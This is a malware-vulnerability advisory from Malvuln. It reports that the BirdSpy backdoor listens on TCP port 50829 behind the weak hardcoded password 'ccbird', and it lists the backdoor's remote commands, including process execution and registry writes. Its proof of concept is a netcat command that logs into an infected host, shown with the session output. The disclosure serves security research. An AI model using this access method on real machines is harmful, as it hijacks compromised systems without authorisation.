Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/eba3dd81723ddf33621fd85ded577920.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BirdSpy.b Vulnerability: Weak Hardcoded Credentials Family: BirdSpy Type: PE32 MD5: eba3dd81723ddf33621fd85ded577920 Vuln ID: MVID-2022-0523 Dropped files: WinSock.exe Disclosure: 03/21/2022 Description: The malware listens on TCP port 50829. Authentication is required, however the password "ccbird" is weak and hardcoded in the PE file. 00401E0E mov esi, offset Data ; "ccbird" 00401E13 push 0 ; flags 00401E15 push esi ; Str Built-in commands: ================== byby "kill the malware" delp "terminate process" exec "shellexecute pgm" dlog HATE "send a message" getd "get drives" regw "write to registry" Exploit/PoC: nc64.exe x.x.x.x 50829 ccbird pwok Welcome to Januse's BirdSPY Januse0128 sysJanuse0128gsys msgeSystem: Windows NT Version:6.2 BuildNumber:9200 System Info:''Januse0128 Januse0128dlog HATE Januse0128bird BirdSPY Release version 1..by JanuseChiu ME.NCU.EDU.TW...YAJanuse0128 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).